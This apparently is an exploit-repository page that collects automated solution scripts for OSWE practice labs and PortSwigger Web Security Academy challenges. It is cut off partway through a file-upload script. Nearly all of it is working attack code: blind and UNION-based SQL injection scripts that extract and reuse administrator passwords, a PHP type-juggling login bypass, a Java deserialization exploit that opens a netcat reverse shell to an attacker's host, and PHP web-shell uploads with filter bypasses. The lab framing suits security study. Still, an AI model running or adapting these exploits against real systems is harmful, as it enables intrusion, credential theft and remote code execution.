Support My Work

Exploit Database

[ SYSTEM READY ] [ LOADING EXPLOIT MODULES ]

This repository contains white-box analysis and automated exploit scripts for OSWE Custom Labs and PortSwigger Academy challenges, covering SQL Injection, File Uploads, OS Command Injection, SSRF, XXE, Path Traversal, Access Control, Authentication, and Business Logic vulnerabilities.

1. OSWE Lab Environment

Docker Setup

Pull and run the global Docker images to start the OSWE practice labs:

  • Blind SQL Injection Lab (Port 8083)
    sudo docker run -d -p 8083:80 aravindaakumar/oswe-sqli-lab:blind-sqli
  • Java Deserialization Lab (Port 8080)
    docker run -d -p 8080:8080 --name deser-lab aravindaakumar/oswe-deserialization-lab:java-deserialization
  • PHP Type Juggling Lab (Port 8082)
    sudo docker run -d -p 8082:80 aravindaakumar/oswe-single-lab:juggling-php

A. Blind SQL Injection (Boolean-Based)

The Vulnerability: The application constructs a SQL query by sticking user input directly into the command without safety checks.

Vulnerable Code (White Box):

$id = $_GET['id'];
$query = "SELECT * FROM courses WHERE id = " . $id; 
// If query returns data, show "OSWE Course Guide". If not, show nothing.
if ($result->num_rows > 0) { echo "OSWE Course Guide"; }

Full Exploit Code (sqli_poc.py):

import requests
import sys
import string

def exploit(target):
    url = target
    print(f"[+] {url} is our target")
    
    # Phase 1: Find Password Length
    for i in range(1, 50):
        payload = f"1 AND LENGTH((SELECT password FROM users WHERE username='admin'))={i}"
        params = {'id': payload}
        response = requests.get(url, params=params)
        
        if "OSWE Course Guide" in response.text:
            print(f"[+] Length of the password is {i}")
            break

    # Phase 2: Brute Force Characters
    charset = string.ascii_letters + string.digits + "{}_-@!?"
    password = ""
    
    for j in range(1, i + 1):
        for c in charset:
            payload = f"1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),{j},1)) = {ord(c)}"
            params = {'id': payload}
            response = requests.get(url, params=params)
            
            if "OSWE Course Guide" in response.text:
                password += c
                sys.stdout.write(f"{c}")
                sys.stdout.flush()
                break # Move to next character

    print('')
    print(f"[+] Password is {password}")
    print("[!] Done :)")

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv[0]} http://localhost/index.php")
        sys.exit(1)
    url = sys.argv[1]
    exploit(url)

B. PHP Type Juggling (Auth Bypass)

The Vulnerability: PHP's loose comparison operator (`==`) treats strings starting with `0e` followed by numbers as scientific notation (0).

Vulnerable Code (White Box):

$hash = md5($password);
// VULNERABLE: Uses '==' (loose) instead of '===' (strict)
if ($hash == "0e123456789...") { echo "Authentication Bypassed"; }

Full Exploit Code (juggling_poc.py):

import requests
import sys

def php_magic_hashes():
    print("[+] Returning php magic hashes whose md5 evaluate to 0")
    return "aabg7XSs"

def exploit(target):
    payload = php_magic_hashes()
    data = {
        "username": "admin",
        "password": payload,
        "login": "Login+%28Vulnerable%29"
    }
    url = target
    
    try:
        response = requests.post(url, data=data, timeout=5)
    except Exception as e:
        print("[-] Request failed.", e)
        return

    if "authentication bypassed" in response.text.lower():
        print("[+] Succesfully conducted php type juggling")
        print("="*100)
        print("[+] Response content snippet:", response.content[:100])
    else:
        print("[-] Not successfull")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv[0]} http://target.com/login.php")
        sys.exit(-1)
    target = sys.argv[1]
    exploit(target)

C. Java Insecure Deserialization

The Vulnerability: The application blindly deserializes Java objects. This allows an attacker to provide a malicious object that triggers code execution.

Vulnerable Code (White Box):

// Reads raw bytes from the request and converts them into a Java Object
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject(); // CODE EXECUTION HAPPENS HERE

Full Exploit Code (deser_poc.py):

import requests, subprocess, sys, os, base64

if len(sys.argv) < 4:
    print(f"Usage: {sys.argv[0]}   ")
    print(f"Example: {sys.argv[0]} http://victim:8080/api 10.0.0.1 4444")
    sys.exit(1)

TARGET_URL = sys.argv[1]
LHOST = sys.argv[2]
LPORT = sys.argv[3]

print("[*] Java Deserialization Exploit")
print(f"[*] Target: {TARGET_URL}")
print(f"[*] LHOST: {LHOST}, LPORT: {LPORT}")

shell = f"nc -e /bin/bash {LHOST} {LPORT}"
COMMAND = shell

print("[*] Generating payload...")
try:
    if not os.path.exists("ysoserial.jar"):
        print("[!] Download ysoserial.jar first!")
        sys.exit(1)
    
    cmd = ["java", "-jar", "ysoserial.jar", "CommonsCollections5", COMMAND]
    process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    payload, error = process.communicate()
    
    if process.returncode != 0:
        print(f"[!] Failed: {error.decode()[:50]}")
        sys.exit(1)
    
    print(f"[+] Payload: {len(payload)} bytes")
    
    # Send it
    print("[*] Sending exploit...")
    r = requests.post(TARGET_URL, data=payload, 
                     headers={"Content-Type": "application/octet-stream"}, 
                     timeout=10)
    
    print(f"[+] Status: {r.status_code}")
    if r.status_code == 200:
        print("[!] 200 OK - Check your netcat listener!")
    else:
        print(f"[?] Got {r.status_code} - try other gadget chains")
       
except Exception as e:
    print(f"[!] Error: {e}")

How to Run the Exploits

Prerequisite: For the Java exploit, ensure you have ysoserial.jar inside the directory where you run the script.

1. Run SQL Injection:

python3 sqli_poc.py http://localhost:8083/index.php

2. Run PHP Type Juggling:

python3 juggling_poc.py http://localhost:8082/login.php

3. Run Java Deserialization:

First, start a listener: nc -lvnp 4444

python3 deser_poc.py http://localhost:8080/api <YOUR_IP> 4444

OSWE Lab Results

docker images docker instances

SQL Injection Output:

blind sqli

Type Juggling Output:

type juggling

Deserialization Output:

deserialize java rce

2. PortSwigger SQLi Automation

Automated solutions for Web Security Academy SQL Injection labs.

Apprentice

SQLi in WHERE clause (Hidden Data)

import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def sqli_where_clause(s,url,payload):
    path="/filter?category="
    payload_enc=urllib.parse.quote(payload)
    print(payload_enc)
    r=s.get(url+path+payload,verify=False,proxies=proxies)
    print(r.text)
    if "Packaway Carport" in r.text:
        print("[+] Congratulations Sqli payload was successful")
    else:
        print("[+] Payload was not successful")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com ' OR 1=1-- -")
        sys.exit(-1)
    url=sys.argv[1]
    payload=sys.argv[2]
    print(payload)
    s=requests.Session()
    sqli_where_clause(s,url,payload)
Apprentice

SQLi Login Bypass

import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
    r=s.get(url,verify=False,proxies=proxies)
    soup=BeautifulSoup(r.text,'html.parser')
    csrf=soup.find("input")['value']
    return csrf

def sqli_login_bypass(s,url):
    csrf=get_csrf_token(s,url)
    payload="administrator'--"
    data={'csrf':csrf,'username':payload,'password':'doesnotmatter'}
    r=s.post(url,data=data,verify=False,proxies=proxies)
    print(r.text)
    if "Log out" in r.text:
        print("[+] Congratulations login was successful")
    else:
        print("[-] Failed login was not successful")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
	login_url=url+'/login'
    sqli_login_bypass(s,url)
Practitioner

Querying Oracle Database Version

import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def sqli_oracle_version(s,url):
    path="/filter?category=Pets"
    payload="' union select NULL,banner from v$version-- -"
    payload_enc=urllib.parse.quote(payload)
    print(payload_enc)
    r=s.get(url+path+payload_enc,verify=False,proxies=proxies)
    print(r.text)
    soup=BeautifulSoup(r.text,'html.parser')
    version=soup.find(string=re.compile(r".*Oracle\sDatabase.*"))
    print(version)
    if version:
        print(f"[+] Congratulations Sqli payload was successful and the version is {version}")
    else:
        print("[+] Payload was not successful")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    sqli_oracle_version(s,url)
Practitioner

Querying MySQL/Microsoft Version

import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def sqli_mysql_version(s,url):
    path="/filter?category=Pets"
    payload="' union select NULL,@@version-- -"
    payload_enc=urllib.parse.quote(payload)
    print(payload_enc)
    r=s.get(url+path+payload_enc,verify=False,proxies=proxies)
    print(r.text)
    soup=BeautifulSoup(r.text,'html.parser')
    version=soup.find(string=re.compile(r".*\d{1,2}\.\d{1,2}\.\d{1,2}.*"))
    print(version)
    if version:
        print(f"[+] Congratulations Sqli payload was successful and the version is {version}")
    else:
        print("[+] Payload was not successful")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    sqli_mysql_version(s,url)
Practitioner

Listing Database Contents (Non-Oracle)

import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def make_request(s,url,payload):
    r=s.get(url+payload,verify=False,proxies=proxies)
    return r.text

def get_csrf_token(s,url):
    r=s.get(url,verify=False,proxies=proxies)
    soup=BeautifulSoup(r.text,'html.parser')
    # Finding specific CSRF input to prevent NoneType errors
    csrf=soup.find("input",{"name":"csrf"})['value']
    print(csrf)
    return csrf

def get_table_name(s,url):
    payload=f"' union select NULL,table_name FROM information_schema.tables-- -"
    res=make_request(s,url,payload)
    print(res)
    soup=BeautifulSoup(res,'html.parser')
    table_name=soup.find(string=re.compile(r".*users.*"))
    print(f"[+] Table name: {table_name}")
    return table_name

def get_col_names(s,url,table_name):
    payload=f"' union select NULL,column_name from information_schema.columns where table_name='{table_name}'-- -"
    res=make_request(s,url,payload)
    print(res)
    soup=BeautifulSoup(res,'html.parser')
    user_col=soup.find(string=re.compile(r".*username.*"))
    pass_col=soup.find(string=re.compile(r".*password.*"))
    print(f"[+] Username and Password columns are: {user_col} {pass_col}")
    return pass_col,user_col

def get_password(s,url,user_col,pass_col,table_name):
    payload=f"' union select {user_col},{pass_col} from {table_name}-- -"
    res=make_request(s,url,payload)
    soup=BeautifulSoup(res,'html.parser')
    # Fixed find_next deprecation usage
    password=soup.find(string='administrator').parent.find_next('td').contents[0]
    print(f"[+] Password is {password}")
    return password

def sqli_database_contents(s,url):
    login_url=url+'/login'
    uri=url+'/filter?category=Gifts'
    table_name=get_table_name(s,uri)
    pass_col,user_col=get_col_names(s,uri,table_name)
    password=get_password(s,uri,user_col,pass_col,table_name)
    print(login_url)
    csrf=get_csrf_token(s,login_url)
    data={'csrf':csrf,'username':'administrator','password':password}
    r=s.post(login_url,data=data,verify=False,proxies=proxies)
    print(r.text)
    if "Log out" in r.text:
        print("[+] Congratulations login was successful")
    else:
        print("[-] Failed login was not successful")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    sqli_database_contents(s,url)
Practitioner

Listing Database Contents (Oracle)

import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def make_request(s,url,payload):
    r=s.get(url+payload,verify=False,proxies=proxies)
    return r.text

def get_csrf_token(s,url):
    r=s.get(url,verify=False,proxies=proxies)
    soup=BeautifulSoup(r.text,'html.parser')
    csrf=soup.find("input",{"name":"csrf"})['value']
    print(csrf)
    return csrf

def get_table_name(s,url):
    # Oracle uses 'all_tables'
    payload=f"' union select NULL,table_name FROM all_tables-- -"
    res=make_request(s,url,payload)
    print(res)
    soup=BeautifulSoup(res,'html.parser')
    table_name=soup.find(string=re.compile(r"^USERS.*"))
    print(f"[+] Table name: {table_name}")
    return table_name

def get_col_names(s,url,table_name):
    # Oracle uses 'all_tab_columns'
    payload=f"' union select NULL,column_name from all_tab_columns where table_name='{table_name}'-- -"
    res=make_request(s,url,payload)
    print(res)
    soup=BeautifulSoup(res,'html.parser')
    user_col=soup.find(string=re.compile(r".*USERNAME.*"))
    pass_col=soup.find(string=re.compile(r".*PASSWORD.*"))
    print(f"[+] Username and Password columns are: {user_col} {pass_col}")
    return pass_col,user_col

def get_password(s,url,user_col,pass_col,table_name):
    payload=f"' union select {user_col},{pass_col} from {table_name}-- -"
    res=make_request(s,url,payload)
    soup=BeautifulSoup(res,'html.parser')
    password=soup.find(string='administrator').parent.find_next('td').contents[0]
    print(f"[+] Password is {password}")
    return password

def sqli_database_contents(s,url):
    login_url=url+'/login'
    uri=url+'/filter?category=Gifts'
    table_name=get_table_name(s,uri)
    pass_col,user_col=get_col_names(s,uri,table_name)
    password=get_password(s,uri,user_col,pass_col,table_name)
    print(login_url)
    csrf=get_csrf_token(s,login_url)
    data={'csrf':csrf,'username':'administrator','password':password}
    r=s.post(login_url,data=data,verify=False,proxies=proxies)
    print(r.text)
    if "Log out" in r.text:
        print("[+] Congratulations login was successful")
    else:
        print("[-] Failed login was not successful")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    sqli_database_contents(s,url)
Practitioner

Blind SQLi with Conditional Responses

import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def blind_sqli(s,url):
    password=""
    for i in range(1,21):
        for j in range(32,127):
            payload=f"' AND (SELECT ASCII(substring(password,{i},1)) from users where username='administrator')='{j}'--"
            payload_enc=urllib.parse.quote(payload)
            # You must update the TrackingId and session cookie below for your specific lab instance
            cookies={'TrackingId':'2xgUDu9PkgWB7bFG'+payload_enc,'session':'7ebqg9izNwoagVD1MEDkDSKJQRJJO7dq'}
            r=s.get(url,cookies=cookies,verify=False,proxies=proxies)
            res=r.text
            if "Welcome back" in res:
                password+=chr(j)
                sys.stdout.write('\r'+password)
                sys.stdout.flush()
                break
            else:
                sys.stdout.write('\r'+password+chr(j))
                sys.stdout.flush()
    return password

def main():
    if len(sys.argv) != 2:
        print(f"Usage: python3 {sys.argv[0]} ")
        print(f"Example: python3 {sys.argv[0]} http://example.com/vulnerable_endpoint")
        sys.exit(1)
    url = sys.argv[1]
    s=requests.Session()
    password=blind_sqli(s,url)
    if password:
        print("[+] The password is ",password)
    else:
        print("[+] Exploit failed.")

if __name__ == "__main__":
    main()
Practitioner

SQL injection UNION attack, determining the number of columns returned by the query

import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def sqli_num_columns(s,url):
    path="/filter?category=Accessories"
    for i in range(1,10):
        payload=f"' order by {i}-- -"
        payload_enc=urllib.parse.quote(payload)
        print(payload_enc)
        r=s.get(url+path+payload_enc,verify=False,proxies=proxies)
        if "500" in str(r.status_code):
            print(f"[+] Congratulations Sqli payload was successful and the number of columns is {i-1}")
            break
        else:
            print(f"[+] {i} is the current value of columns")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    sqli_num_columns(s,url)
Practitioner

SQL injection UNION attack, finding a column containing text

import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def sqli_num_columns(s,url):
    path="/filter?category=Accessories"
    for i in range(1,10):
        payload=f"' order by {i}-- -"
        payload_enc=urllib.parse.quote(payload)
        print(payload_enc)
        r=s.get(url+path+payload_enc,verify=False,proxies=proxies)
        if "500" in str(r.status_code):
            print(f"[+] Congratulations Sqli payload was successful and the number of columns is {i-1}")
            return i-1
        else:
            print(f"[+] {i} is the current value of columns")

def sqli_find_text_column(s,url,num_col):
    path="/filter?category=Pets"
    for i in range(1,num_col+1):
        string="'RUGWTP'"
        list=["NULL"]*num_col
        list[i-1]=string
        payload=f"' union select "+','.join(list)+"-- -"
        payload_enc=urllib.parse.quote(payload)
        print(payload)
        r=s.get(url+path+payload_enc,verify=False,proxies=proxies)
        res=r.text
        soup = BeautifulSoup(res, 'html.parser')
        code=string.strip('\'')
        if soup.body:
            result = soup.body.find(string=code)
            if result:
                print(f"[+] Congratulations! SQLi payload was successful.")
                print(f"[+] The column containing text is: {i}")
                break
            else:
                print(f"[-] Text '{code}' not found in body for column {i}")
        else:
            print(f"[!] Warning: Response for column {i} had no <body> tag. (Status: {r.status_code})")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    num_col=sqli_num_columns(s,url)
    sqli_find_text_column(s,url,num_col)
Practitioner

SQL injection UNION attack, retrieving data from other tables

import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
    r=s.get(url,verify=False,proxies=proxies)
    soup=BeautifulSoup(r.text,'html.parser')
    csrf=soup.find("input",{"name":"csrf"})['value']
    print(csrf)
    return csrf

def sqli_union_retrieve_data(s,url):
    path="/filter?category=Pets"
    payload="' union select username,password from users-- -"
    payload_enc=urllib.parse.quote(payload)
    print(payload_enc)
    r=s.get(url+path+payload_enc,verify=False,proxies=proxies)
    print(r.text)
    soup=BeautifulSoup(r.text,'html.parser')
    password=soup.find(string=re.compile(r".*administrator.*")).parent.find_next('td').contents[0]
    if password:
        print(f"[+] Congratulations Sqli payload was successful and the password is {password}")
        return password
    else:
        print("[+] Payload was not successful")

def sqli_login(s,url):
    login_url=url+'/login'
    password=sqli_union_retrieve_data(s,url)
    print(login_url)
    csrf=get_csrf_token(s,login_url)
    data={'csrf':csrf,'username':'administrator','password':password}
    r=s.post(login_url,data=data,verify=False,proxies=proxies)
    print(r.text)
    if "Log out" in r.text:
        print("[+] Congratulations login was successful")
    else:
        print("[-] Failed login was not successful")
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    sqli_login(s,url)
Practitioner

SQL injection UNION attack, retrieving multiple values in a single column

import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
    r=s.get(url,verify=False,proxies=proxies)
    soup=BeautifulSoup(r.text,'html.parser')
    csrf=soup.find("input",{"name":"csrf"})['value']
    print(csrf)
    return csrf

def sqli_union_retrieve_data(s,url):
    path="/filter?category=Lifestyle"
    payload="' union select NULL, username || '*' || password from users-- -"
    payload_enc=urllib.parse.quote(payload)
    print(payload_enc)
    r=s.get(url+path+payload_enc,verify=False,proxies=proxies)
    print(r.text)
    soup=BeautifulSoup(r.text,'html.parser')
    password=soup.find(string=re.compile(r".*administrator.*")).split('*')[1]
    if password:
        print(f"[+] Congratulations Sqli payload was successful and the password is {password}")
        return password
    else:
        print("[+] Payload was not successful")

def sqli_login(s,url):
    login_url=url+'/login'
    password=sqli_union_retrieve_data(s,url)
    print(login_url)
    csrf=get_csrf_token(s,login_url)
    data={'csrf':csrf,'username':'administrator','password':password}
    r=s.post(login_url,data=data,verify=False,proxies=proxies)
    print(r.text)
    if "Log out" in r.text:
        print("[+] Congratulations login was successful")
    else:
        print("[-] Failed login was not successful")
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    sqli_login(s,url)
Practitioner

Blind SQL injection with conditional errors

import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def blind_sqli_conditional_errors(s,url):
    password=""
    for i in range(1,21):
        for j in range(32,127):
            payload=f"' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and ascii(substr(password,{i},1))='{j}') || '"
            payload_enc=urllib.parse.quote(payload)
            cookies={'TrackingId':'E9npiBw5yE6C5jiR'+payload_enc,'session':'cUCNgx52sIS2SvXTLDq581AemSEYhJrS'}
            r=s.get(url,cookies=cookies,verify=False,proxies=proxies)
            res=r.text
            if "500" in str(r.status_code):
                password+=chr(j)
                sys.stdout.write('\r'+password)
                sys.stdout.flush()
                break
            else:
                sys.stdout.write('\r'+password+chr(j))
                sys.stdout.flush()
    return password
def main():
    if len(sys.argv) != 2:
        print(f"Usage: python3 {sys.argv[0]} <target_url>")
        print(f"Example: python3 {sys.argv[0]} http://example.com/vulnerable_endpoint")
        sys.exit(1)
    url = sys.argv[1]
    s=requests.Session()
    password=blind_sqli_conditional_errors(s,url)
    if password:
        print("[+] The password is ",password)
    else:
        print("[+] Exploit failed.")
if __name__ == "__main__":
    main()
Practitioner

Blind SQL injection with time delays

import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def blind_sqli_time_delay(url):
    payload=f"' || (select pg_sleep(10))--"
    payload_enc=urllib.parse.quote(payload)
    cookies={'TrackingId':'WAn0LdGGrF7H84h2'+payload_enc,'session':'PHKoKo3c9coj2qFHhtPvKGgVQ5hdds1R'}
    r=requests.get(url,cookies=cookies,verify=False,proxies=proxies)
    res=r.text
    if int(r.elapsed.total_seconds()) > 10:
        print("[+] Vulnerable to time based blind sqli")
    else:
        print("[-] Not Vulnerable to time based blind sqli")

def main():
    if len(sys.argv) != 2:
        print(f"Usage: python3 {sys.argv[0]} <target_url>")
        print(f"Example: python3 {sys.argv[0]} http://example.com/vulnerable_endpoint")
        sys.exit(1)
    url = sys.argv[1]
    blind_sqli_time_delay(url)
if __name__ == "__main__":
    main()
Practitioner

Blind SQL injection with time delays and information retrieval

import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def blind_sqli_time_based_info(s,url):
    password=""
    for i in range(1,21):
        for j in range(32,127):
            payload=f" || (select case when (username='administrator' and ascii(substring(password,{i},1))='{j}') then pg_sleep(10) else pg_sleep(-1) end from users)--"
            payload_enc=urllib.parse.quote(payload)
            cookies={'TrackingId':'Wt7JY1dRl895u74D'+payload_enc,'session':'bMKH4PiLfmgOrFC0AxH8yCip93v6ei6A'}
            r=s.get(url,cookies=cookies,verify=False,proxies=proxies)
            res=r.text
            if int(r.elapsed.total_seconds()) > 9:
                password+=chr(j)
                sys.stdout.write('\r'+password)
                sys.stdout.flush()
                break
            else:
                sys.stdout.write('\r'+password+chr(j))
                sys.stdout.flush()
    return password
def main():
    if len(sys.argv) != 2:
        print(f"Usage: python3 {sys.argv[0]} <target_url>")
        print(f"Example: python3 {sys.argv[0]} http://example.com/vulnerable_endpoint")
        sys.exit(1)
    url = sys.argv[1]
    s=requests.Session()
    password=blind_sqli_time_based_info(s,url)
    if password:
        print("[+] The password is ",password)
    else:
        print("[+] Exploit failed.")
if __name__ == "__main__":
    main()

3. PortSwigger File Upload Automation

Automated solutions for Web Security Academy File Upload labs.

Apprentice

Remote code execution via web shell upload

import requests
import sys
import urllib3
import random,string
from requests_toolbelt import MultipartEncoder
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
    r=s.get(url,verify=False,proxies=proxies)
    soup=BeautifulSoup(r.text,'html.parser')
    csrf=soup.find("input",{"name":"csrf"})['value']
    return csrf

def file_upload(s,url):
    login_url=url+'/login'
    csrf=get_csrf_token(s,login_url)
    data={'csrf':csrf,'username':'wiener','password':'peter'}
    r=s.post(login_url,data=data,verify=False,proxies=proxies)
    if 'Log out' in r.text:
        account_url=url+'/my-account'
        csrf=get_csrf_token(s,account_url)
        avatar_url=url+'/my-account/avatar'
        params={'avatar':('system_requirements.php','<?php system($_REQUEST["cmd"]); ?>','application/x-php'),'user':'wiener','csrf':csrf}
        boundary="------WebKitFormBoundary"+''.join(random.sample(string.ascii_letters+string.digits,16))
        m=MultipartEncoder(fields=params,boundary=boundary)
        headers={'Content-Type':m.content_type}
        r=s.post(avatar_url,data=m,headers=headers,verify=False,proxies=proxies)
        print("[+] The following is the secret file")
        shell_url=url+'/files/avatars/system_requirements.php?cmd='+'cat /home/carlos/secret'
        res=s.get(shell_url,verify=False,proxies=proxies)
        print(res.text)
    else:
        print("[-] Login was not successful")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    file_upload(s,url)
Apprentice

Web shell upload via Content-Type restriction bypass

import requests
import sys
import urllib3
import random,string
from requests_toolbelt import MultipartEncoder
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
    r=s.get(url,verify=False,proxies=proxies)
    soup=BeautifulSoup(r.text,'html.parser')
    csrf=soup.find("input",{"name":"csrf"})['value']
    return csrf

def file_upload(s,url):
    login_url=url+'/login'
    csrf=get_csrf_token(s,login_url)
    data={'csrf':csrf,'username':'wiener','password':'peter'}
    r=s.post(login_url,data=data,verify=False,proxies=proxies)
    if 'Log out' in r.text:
        account_url=url+'/my-account'
        csrf=get_csrf_token(s,account_url)
        avatar_url=url+'/my-account/avatar'
        # Changing Content-Type to image/png to bypass filter
        params={'avatar':('system_requirements.php','<?php system($_REQUEST["cmd"]); ?>','image/png'),'user':'wiener','csrf':csrf}
        boundary="------WebKitFormBoundary"+''.join(random.sample(string.ascii_letters+string.digits,16))
        m=MultipartEncoder(fields=params,boundary=boundary)
        headers={'Content-Type':m.content_type}
        r=s.post(avatar_url,data=m,headers=headers,verify=False,proxies=proxies)
        print("[+] The following is the secret file")
        shell_url=url+'/files/avatars/system_requirements.php?cmd='+'cat /home/carlos/secret'
        res=s.get(shell_url,verify=False,proxies=proxies)
        print(res.text)
    else:
        print("[-] Login was not successful")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    file_upload(s,url)
Practitioner

Web shell upload via path traversal

import requests
import sys
import urllib3
import random,string
from requests_toolbelt import MultipartEncoder
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def get_csrf_token(s,url):
    r=s.get(url,verify=False,proxies=proxies)
    soup=BeautifulSoup(r.text,'html.parser')
    csrf=soup.find("input",{"name":"csrf"})['value']
    return csrf

def file_upload(s,url):
    login_url=url+'/login'
    csrf=get_csrf_token(s,login_url)
    data={'csrf':csrf,'username':'wiener','password':'peter'}
    r=s.post(login_url,data=data,verify=False,proxies=proxies)
    if 'Log out' in r.text:
        account_url=url+'/my-account'
        csrf=get_csrf_token(s,account_url)
        avatar_url=url+'/my-account/avatar'
        # Using URL encoding for path traversal
        params={'avatar':('..%2fsystem_requirements.php','<?php system($_REQUEST["cmd"]); ?>','application/x-php'),'user':'wiener','csrf':csrf}
        boundary="------WebKitFormBoundary"+''.join(random.sample(string.ascii_letters+string.digits,16))
        m=MultipartEncoder(fields=params,boundary=boundary)
        headers={'Content-Type':m.content_type}
        r=s.post(avatar_url,data=m,headers=headers,verify=False,proxies=proxies)
        print("[+] The following is the secret file")
        # Accessing file one directory up
        shell_url=url+'/files/system_requirements.php?cmd='+'cat /home/carlos/secret'
        res=s.get(shell_url,verify=False,proxies=proxies)
        print(res.text)
    else:
        print("[-] Login was not successful")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage python3 {sys.argv} https://vulnerablewebsite.com")
        sys.exit(-1)
    url=sys.argv[1]
    s=requests.Session()
    file_upload(s,url)
Practitioner

Web shell upload via extension blacklist bypass

import requests
import sys
import urllib3
import random,string
from requests_toolbelt import MultipartEncoder
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

